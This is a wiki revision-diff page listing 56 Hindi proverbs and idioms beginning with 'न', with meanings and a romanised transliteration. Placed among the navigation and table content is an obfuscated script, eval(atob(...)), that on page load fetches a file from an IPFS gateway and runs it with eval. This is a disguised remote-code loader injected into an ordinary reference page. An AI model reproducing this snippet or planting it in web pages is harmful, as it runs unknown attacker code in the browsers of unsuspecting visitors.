Difference between revisions of "कहावत लोकोक्ति मुहावरे-न"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "आवाज़़" to "आवाज़")
Line 1: Line 1:
 
{{कहावत लोकोक्ति मुहावरे}}
 
{{कहावत लोकोक्ति मुहावरे}}
 
 
{| class="bharattable-pink"
 
{| class="bharattable-pink"
 
|-
 
|-
!कहावत लोकोक्ति मुहावरे
+
! style="width:30%"|कहावत लोकोक्ति मुहावरे
!अर्थ
+
!style="width:70%"| अर्थ
 
|-
 
|-
| style="width:30%"|
+
| 1- नौ नक़द ना तेरह उधार।
1- नौ नक़द ना तेरह उधार।
+
| अर्थ - किसी का भी कर्जदार ना होना, नक़द का काम उधार के काम से अच्छा होता है।
| style="width:70%"|
 
अर्थ - किसी का भी कर्जदार ना होना, नक़द का काम उधार के काम से अच्छा होता है।
 
 
|-
 
|-
 
|2- नौ सौ चूहे खा कर बिल्ली हज को चली।
 
|2- नौ सौ चूहे खा कर बिल्ली हज को चली।
|
+
|अर्थ - सौ अपराध करके  ईश्वर का ध्यान आता है। ।
अर्थ - सौ अपराध करके  ईश्वर का ध्यान आता है। ।
 
 
|-
 
|-
 
|3- नंगा बड़ा परमेश्वर से।  
 
|3- नंगा बड़ा परमेश्वर से।  
|
+
|अर्थ - निर्लज्ज से सभी डरते हैं।
अर्थ - निर्लज्ज से सभी डरते हैं।
 
 
|-
 
|-
 
|4- नंगा क्या  नहाएगा क्या निचोड़ेगा।
 
|4- नंगा क्या  नहाएगा क्या निचोड़ेगा।
|
+
|अर्थ - निर्धन के पास  खोने के लिए कुछ भी नहीं होता।
अर्थ - निर्धन के पास  खोने के लिए कुछ भी नहीं होता।
 
 
|-
 
|-
 
|5- न अंधे को न्योता देते न दो जने आते।  
 
|5- न अंधे को न्योता देते न दो जने आते।  
|
+
|अर्थ - ग़लत आदमी को बुलावा देना, एक के बदले दो का आना।
अर्थ - ग़लत आदमी को बुलावा देना, एक के बदले दो का आना।
 
 
|-
 
|-
 
|6- न इधर के रहे, न उधर के रहे।
 
|6- न इधर के रहे, न उधर के रहे।
|
+
|अर्थ - दुविधा में  हमेशा हानि हो जाती है।
अर्थ - दुविधा में  हमेशा हानि हो जाती है।
 
 
|-
 
|-
 
|7- नकटा बूचा सबसे ऊँचा।
 
|7- नकटा बूचा सबसे ऊँचा।
|
+
|अर्थ - निर्लज्ज आदमी सब से बड़ा है (व्यंग)।
अर्थ - निर्लज्ज आदमी सब से बड़ा है (व्यंग)।
 
 
|-
 
|-
 
|8- नक्कारखाने में तूती की आवाज़ कौन सुने।
 
|8- नक्कारखाने में तूती की आवाज़ कौन सुने।
|
+
|अर्थ - बड़ों के रहते छोटों की बात नहीं मानी जाती।
अर्थ - बड़ों के रहते छोटों की बात नहीं मानी जाती।
 
 
|-
 
|-
 
|9- नटनी जब बाँस पर चढ़ी तो घूँघट क्या।
 
|9- नटनी जब बाँस पर चढ़ी तो घूँघट क्या।
|
+
|अर्थ - नीच कर्म करने वाले को शर्म नहीं होती।
अर्थ - नीच कर्म करने वाले को शर्म नहीं होती।
 
 
|-
 
|-
 
|10- नदी किनारे रूखड़ा जब–तब होय विनाश।
 
|10- नदी किनारे रूखड़ा जब–तब होय विनाश।
|
+
|अर्थ - बूढ़ा आदमी बहुत दिन नहीं जियेगा।
अर्थ - बूढ़ा आदमी बहुत दिन नहीं जियेगा।
 
 
|-
 
|-
 
|11- नदी नाव संयोग।
 
|11- नदी नाव संयोग।
|
+
|अर्थ - संयोग से मिलाप हो जाना।
अर्थ - संयोग से मिलाप हो जाना।
 
 
|-
 
|-
 
|12- नदी में रहकर, मगर से बैर।
 
|12- नदी में रहकर, मगर से बैर।
|
+
|अर्थ - जहाँ रहना हो वहाँ के मुखिया से बैर ठीक नहीं होता।
अर्थ - जहाँ रहना हो वहाँ के मुखिया से बैर ठीक नहीं होता।
 
 
|-
 
|-
 
|13- [[ना नौ मन तेल होगा ना राधा नाचेगी]]
 
|13- [[ना नौ मन तेल होगा ना राधा नाचेगी]]
|
+
|अर्थ - न पूरी होने वाली शर्त।
अर्थ - न पूरी होने वाली शर्त।
 
 
|-
 
|-
 
|14- नमाज़ छुड़ाने गए थे, रोज़े गले पड़े।
 
|14- नमाज़ छुड़ाने गए थे, रोज़े गले पड़े।
|
+
|अर्थ - एक मुसीबत से छुटकारा पाना चाहा था, दूसरी भारी मुसीबत आ पड़ी।
अर्थ - एक मुसीबत से छुटकारा पाना चाहा था, दूसरी भारी मुसीबत आ पड़ी।
 
 
|-
 
|-
 
|15- नया नौ दिन पुराना सौ दिन।
 
|15- नया नौ दिन पुराना सौ दिन।
|
+
|अर्थ - पुरानी चीज़ें ज़्यादा दिन चलती हैं।
अर्थ - पुरानी चीज़ें ज़्यादा दिन चलती हैं।
 
 
|-
 
|-
 
|16- [[न रहेगा बाँस, न बजेगी बाँसुरी]]।
 
|16- [[न रहेगा बाँस, न बजेगी बाँसुरी]]।
|
+
|अर्थ - मूल कारण को मिटा दें तो झगड़ा –फसाद ही न हो।
अर्थ - मूल कारण को मिटा दें तो झगड़ा –फसाद ही न हो।
 
 
|-
 
|-
 
|17- ना साँप मरे ना लाठी टूटे।
 
|17- ना साँप मरे ना लाठी टूटे।
|
+
|अर्थ - बिना किसी को हानि पहुँचाये काम पूरा हो जाए।
अर्थ - बिना किसी को हानि पहुँचाये काम पूरा हो जाए।
 
 
|-
 
|-
 
|18- नाई की बरात में सब ही ठाकुर।
 
|18- नाई की बरात में सब ही ठाकुर।
|
+
|अर्थ - सभी बड़े बन बैठें तो काम कैसे हो, एक ही नायक होना चाहिए।  
अर्थ - सभी बड़े बन बैठें तो काम कैसे हो, एक ही नायक होना चाहिए।  
 
 
|-
 
|-
|19- नाई नाई, बाल कितने ? <br />
+
|19- नाई नाई, बाल कितने ? ज‍जमान, अभी सामने आ जाएँगे।
ज‍जमान, अभी सामने आ जाएँगे।
+
| अर्थ - प्रश्न का उत्तर अपने-आप मिल जाएगा।
|
 
अर्थ - प्रश्न का उत्तर अपने –आप मिल जाएगा।
 
 
|-
 
|-
 
|20- नाक कटी पर घी तो चाटा।
 
|20- नाक कटी पर घी तो चाटा।
|
+
|अर्थ - निर्लज्ज होकर कुछ पाना।
अर्थ - निर्लज्ज होकर कुछ पाना।
 
 
|-
 
|-
 
|21- नाक दबाने से मुँह खुलता है।
 
|21- नाक दबाने से मुँह खुलता है।
|
+
|अर्थ - कठोरता से कार्य सिद्ध होता है।
अर्थ - कठोरता से कार्य सिद्ध होता है।
 
 
|-
 
|-
 
|22- [[नाच न जाने|नाच न जाने आँगन टेढ़ा]]।
 
|22- [[नाच न जाने|नाच न जाने आँगन टेढ़ा]]।
|
+
|अर्थ - अपना दोष बहाना करके टालना।
अर्थ - अपना दोष बहाना करके टालना।
 
 
|-
 
|-
 
|23- नानी के आगे ननिहाल की बातें।
 
|23- नानी के आगे ननिहाल की बातें।
|
+
|अर्थ - जिसको सब कुछ मालूम हो, उसको जानकारी देना।
अर्थ - जिसको सब कुछ मालूम हो, उसको जानकारी देना।
 
 
|-
 
|-
 
|24- नानी के टुकड़े खावे, दादी का पोता कहावे।
 
|24- नानी के टुकड़े खावे, दादी का पोता कहावे।
|
+
|अर्थ - खाना किसी का, एहसान किसी का।
अर्थ - खाना किसी का, एहसान किसी का।
 
 
|-
 
|-
|25- नानी क्वाँरी मर गई , <br />
+
|25- नानी क्वाँरी मर गई , नाती के नौ-नौ ब्याह।
नाती के नौ-नौ ब्याह।
+
|अर्थ - झूठी बड़ाई।
|
 
अर्थ - झूठी बड़ाई।
 
 
|-
 
|-
 
|26- नाम बड़े दर्शन छोटे।
 
|26- नाम बड़े दर्शन छोटे।
|
+
|अर्थ - बहुत प्रसिद्ध होना पर वास्तव में गुणों का न होना।
अर्थ - बहुत प्रसिद्ध होना पर वास्तव में गुणों का न होना।
 
 
|-
 
|-
 
|27- नाम बढ़ावे दाम।
 
|27- नाम बढ़ावे दाम।
|
+
|अर्थ - किसी चीज़ का नाम हो जाने से उसकी कीमत बढ़ जाती है।
अर्थ - किसी चीज़ का नाम हो जाने से उसकी कीमत बढ़ जाती है।
 
 
|-
 
|-
|28- नामी चोर मारा जाए,<br />
+
|28- नामी चोर मारा जाए, नामी शाह कमा खाए।
नामी शाह कमा खाए।
+
|अर्थ - बदनामी से बुरा, नेकनामी से भला होता है।
|
 
अर्थ - बदनामी से बुरा, नेकनामी से भला होता है।
 
 
|-
 
|-
 
|29- नारियल में पानी,क्या पता खट्टा कि मीठा।
 
|29- नारियल में पानी,क्या पता खट्टा कि मीठा।
|
+
|अर्थ - इस बात में संशय है।
अर्थ - इस बात में संशय है।
 
 
|-
 
|-
 
|30- नीचे की साँस नीचे, ऊपर की साँस ऊपर।
 
|30- नीचे की साँस नीचे, ऊपर की साँस ऊपर।
|
+
|अर्थ - डर या दु:ख से घबरा जाना।
अर्थ - डर या दु:ख से घबरा जाना।
 
 
|-
 
|-
 
|31- नीचे से जड़ काटना, ऊपर से पानी देना।
 
|31- नीचे से जड़ काटना, ऊपर से पानी देना।
|
+
|अर्थ - ऊपर से मित्र, भीतर से शत्रु, दिखावा करना।
अर्थ - ऊपर से मित्र, भीतर से शत्रु, दिखावा करना।
 
 
|-
 
|-
 
|32- नीम हकीम ख़तरा-ए-जान।
 
|32- नीम हकीम ख़तरा-ए-जान।
|
+
|अर्थ - अनुभवहीन  व्याक्ति के हाथों काम बिगड़ जाता है।
अर्थ - अनुभवहीन  व्याक्ति के हाथों काम बिगड़ जाता है।
 
 
|-
 
|-
 
|33- नेकी और पूछ-पूछ।
 
|33- नेकी और पूछ-पूछ।
|
+
|अर्थ - भलाई का काम करके फल की उम्मीद मत करो।
अर्थ - भलाई का काम करके फल की उम्मीद मत करो।
 
 
|-
 
|-
 
|34- नौ दिन चले अढ़ाई कोस।
 
|34- नौ दिन चले अढ़ाई कोस।
|
+
|अर्थ - बहुत ही मंद गति से काम होना।
अर्थ - बहुत ही मंद गति से काम होना।
 
 
|-
 
|-
 
|35- नौ दो ग्यारह होना।
 
|35- नौ दो ग्यारह होना।
|
+
|अर्थ - भाग जाना।
अर्थ - भाग जाना।
 
 
|-
 
|-
 
|36- नौ सौ चूहे खा कर बिल्ली हज को चली।
 
|36- नौ सौ चूहे खा कर बिल्ली हज को चली।
|
+
|अर्थ - जीवन भर कुकर्म करते रहे अन्त में भले बन बैठे।  
अर्थ - जीवन भर कुकर्म करते रहे अन्त में भले बन बैठे।  
 
 
|-
 
|-
 
|37- नाचने निकली तो घूँघट क्या।
 
|37- नाचने निकली तो घूँघट क्या।
|
+
|अर्थ - कोई काम करना शुरू करने पर शर्म नहीं आनी चाहिए।
अर्थ - कोई काम करना शुरू करने पर शर्म नहीं आनी चाहिए।
 
 
|-
 
|-
 
|38- नकेल हाथ में होना।
 
|38- नकेल हाथ में होना।
|
+
|अर्थ - वश में होना।  
अर्थ - वश में होना।  
 
 
|-
 
|-
 
|39- नब्ज़  पहचानना।
 
|39- नब्ज़  पहचानना।
|
+
|अर्थ - स्वभाव जानना, कमज़ोरी जानना।
अर्थ - स्वभाव जानना, कमज़ोरी जानना।
 
 
|-
 
|-
 
|40- नमक मिर्च लगाना।
 
|40- नमक मिर्च लगाना।
|
+
|अर्थ - बढ़ा-चढ़ाकर कहना।  
अर्थ - बढ़ा-चढ़ाकर कहना।  
 
 
|-
 
|-
 
|41- नस-नस फड़क उठना।
 
|41- नस-नस फड़क उठना।
|
+
|अर्थ - बहुत उत्साहित होना।
अर्थ - बहुत उत्साहित होना।
 
 
|-
 
|-
 
|42- नस पहचानना।
 
|42- नस पहचानना।
|
+
|अर्थ - अच्छी तरह जानना।  
अर्थ - अच्छी तरह जानना।  
 
 
|-
 
|-
 
|43- नहले पर दहला मारना।
 
|43- नहले पर दहला मारना।
|
+
|अर्थ - करारा जवाब देना।   
अर्थ - करारा जवाब देना।   
 
 
|-
 
|-
 
|44- नाक कटना।
 
|44- नाक कटना।
|
+
|अर्थ - बदनामी होना।  
अर्थ - बदनामी होना।  
 
 
|-
 
|-
 
|45- नाक का बाल होना।
 
|45- नाक का बाल होना।
|
+
|अर्थ - बहुत प्यारा होना।  
अर्थ - बहुत प्यारा होना।  
 
 
|-
 
|-
 
|46- नाक चोटी काटकर हाथ में देना।
 
|46- नाक चोटी काटकर हाथ में देना।
|
+
|अर्थ - दुर्दशा करना।
अर्थ - दुर्दशा करना।
 
 
|-
 
|-
 
|47- नाक भौं चढ़ाना।
 
|47- नाक भौं चढ़ाना।
|
+
|अर्थ - घृणा, असंतोष प्रकट करना।
अर्थ - घृणा, असंतोष प्रकट करना।
 
 
|-
 
|-
 
|48- नाक में नकेल डालना।
 
|48- नाक में नकेल डालना।
|
+
|अर्थ - वश में करना।  
अर्थ - वश में करना।  
 
 
|-
 
|-
 
|49- नाक रगड़ना।
 
|49- नाक रगड़ना।
|
+
|अर्थ - गिड़गिड़ाना।  
अर्थ - गिड़गिड़ाना।  
 
 
|-
 
|-
 
|50- नाकों चने चबवाना।
 
|50- नाकों चने चबवाना।
|
+
|अर्थ - बहुत तंग करना।  
अर्थ - बहुत तंग करना।  
 
 
|-
 
|-
 
|51-  नाच नचाना।
 
|51-  नाच नचाना।
|
+
|अर्थ - मनचाही करवाना।  
अर्थ - मनचाही करवाना।  
 
 
|-
 
|-
 
|52- नानी मर जाना।
 
|52- नानी मर जाना।
|
+
|अर्थ - होश न रहना।
अर्थ - होश न रहना।
 
 
|-
 
|-
 
|53- नाव में धूल उड़ाना।
 
|53- नाव में धूल उड़ाना।
|
+
|अर्थ - व्यर्थ में बदनाम करना।  
अर्थ - व्यर्थ में बदनाम करना।  
 
 
|-
 
|-
 
|54- निन्यानवे के फेर में पड़ना।
 
|54- निन्यानवे के फेर में पड़ना।
|
+
|अर्थ - पैसा जोड़ने के चक्कर में पड़ना।  
अर्थ - पैसा जोड़ने के चक्कर में पड़ना।  
 
 
|-
 
|-
 
|55- नीचा दिखाना।
 
|55- नीचा दिखाना।
|
+
|अर्थ - हराना, बेइज़्ज़्ती करना।
अर्थ - हराना, बेइज़्ज़्ती करना।
 
 
|-
 
|-
 
|56- नीला-पीला होना।
 
|56- नीला-पीला होना।
|
+
|अर्थ - ग़ुस्सा होना।  
अर्थ - ग़ुस्सा होना।  
 
 
|}
 
|}
  

Revision as of 12:22, 3 March 2017

kahavat lokokti muhavare varnamala kramanusar khojean

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    ch    chh    j    jh    t    th    d   dh    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    shr

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kahavat lokokti muhavare arth
1- nau naqad na terah udhar. arth - kisi ka bhi karjadar na hona, naqad ka kam udhar ke kam se achchha hota hai.
2- nau sau choohe kha kar billi haj ko chali. arth - sau aparadh karake eeshvar ka dhyan ata hai. .
3- nanga b da parameshvar se. arth - nirlajj se sabhi darate haian.
4- nanga kya nahaega kya nicho dega. arth - nirdhan ke pas khone ke lie kuchh bhi nahian hota.
5- n aandhe ko nyota dete n do jane ate. arth - galat adami ko bulava dena, ek ke badale do ka ana.
6- n idhar ke rahe, n udhar ke rahe. arth - duvidha mean hamesha hani ho jati hai.
7- nakata boocha sabase ooancha. arth - nirlajj adami sab se b da hai (vyang).
8- nakkarakhane mean tooti ki avaz kaun sune. arth - b doan ke rahate chhotoan ki bat nahian mani jati.
9- natani jab baans par chadhi to ghooanghat kya. arth - nich karm karane vale ko sharm nahian hoti.
10- nadi kinare rookh da jab–tab hoy vinash. arth - boodha adami bahut din nahian jiyega.
11- nadi nav sanyog. arth - sanyog se milap ho jana.
12- nadi mean rahakar, magar se bair. arth - jahaan rahana ho vahaan ke mukhiya se bair thik nahian hota.
13- na nau man tel hoga na radha nachegi arth - n poori hone vali shart.
14- namaz chhu dane ge the, roze gale p de. arth - ek musibat se chhutakara pana chaha tha, doosari bhari musibat a p di.
15- naya nau din purana sau din. arth - purani chizean zyada din chalati haian.
16- n rahega baans, n bajegi baansuri. arth - mool karan ko mita dean to jhag da –phasad hi n ho.
17- na saanp mare na lathi toote. arth - bina kisi ko hani pahuanchaye kam poora ho jae.
18- naee ki barat mean sab hi thakur. arth - sabhi b de ban baithean to kam kaise ho, ek hi nayak hona chahie.
19- naee naee, bal kitane ? j‍jaman, abhi samane a jaeange. arth - prashn ka uttar apane-ap mil jaega.
20- nak kati par ghi to chata. arth - nirlajj hokar kuchh pana.
21- nak dabane se muanh khulata hai. arth - kathorata se kary siddh hota hai.
22- nach n jane aangan tedha. arth - apana dosh bahana karake talana.
23- nani ke age nanihal ki batean. arth - jisako sab kuchh maloom ho, usako janakari dena.
24- nani ke tuk de khave, dadi ka pota kahave. arth - khana kisi ka, ehasan kisi ka.
25- nani kvaanri mar gee , nati ke nau-nau byah. arth - jhoothi b daee.
26- nam b de darshan chhote. arth - bahut prasiddh hona par vastav mean gunoan ka n hona.
27- nam badhave dam. arth - kisi chiz ka nam ho jane se usaki kimat badh jati hai.
28- nami chor mara jae, nami shah kama khae. arth - badanami se bura, nekanami se bhala hota hai.
29- nariyal mean pani,kya pata khatta ki mitha. arth - is bat mean sanshay hai.
30- niche ki saans niche, oopar ki saans oopar. arth - dar ya du:kh se ghabara jana.
31- niche se j d katana, oopar se pani dena. arth - oopar se mitr, bhitar se shatru, dikhava karana.
32- nim hakim khatara-e-jan. arth - anubhavahin vyakti ke hathoan kam big d jata hai.
33- neki aur poochh-poochh. arth - bhalaee ka kam karake phal ki ummid mat karo.
34- nau din chale adhaee kos. arth - bahut hi mand gati se kam hona.
35- nau do gyarah hona. arth - bhag jana.
36- nau sau choohe kha kar billi haj ko chali. arth - jivan bhar kukarm karate rahe ant mean bhale ban baithe.
37- nachane nikali to ghooanghat kya. arth - koee kam karana shuroo karane par sharm nahian ani chahie.
38- nakel hath mean hona. arth - vash mean hona.
39- nabz pahachanana. arth - svabhav janana, kamazori janana.
40- namak mirch lagana. arth - badha-chadhakar kahana.
41- nas-nas ph dak uthana. arth - bahut utsahit hona.
42- nas pahachanana. arth - achchhi tarah janana.
43- nahale par dahala marana. arth - karara javab dena.
44- nak katana. arth - badanami hona.
45- nak ka bal hona. arth - bahut pyara hona.
46- nak choti katakar hath mean dena. arth - durdasha karana.
47- nak bhauan chadhana. arth - ghrina, asantosh prakat karana.
48- nak mean nakel dalana. arth - vash mean karana.
49- nak rag dana. arth - gi dagi dana.
50- nakoan chane chabavana. arth - bahut tang karana.
51- nach nachana. arth - manachahi karavana.
52- nani mar jana. arth - hosh n rahana.
53- nav mean dhool u dana. arth - vyarth mean badanam karana.
54- ninyanave ke pher mean p dana. arth - paisa jo dane ke chakkar mean p dana.
55- nicha dikhana. arth - harana, beizzti karana.
56- nila-pila hona. arth - gussa hona.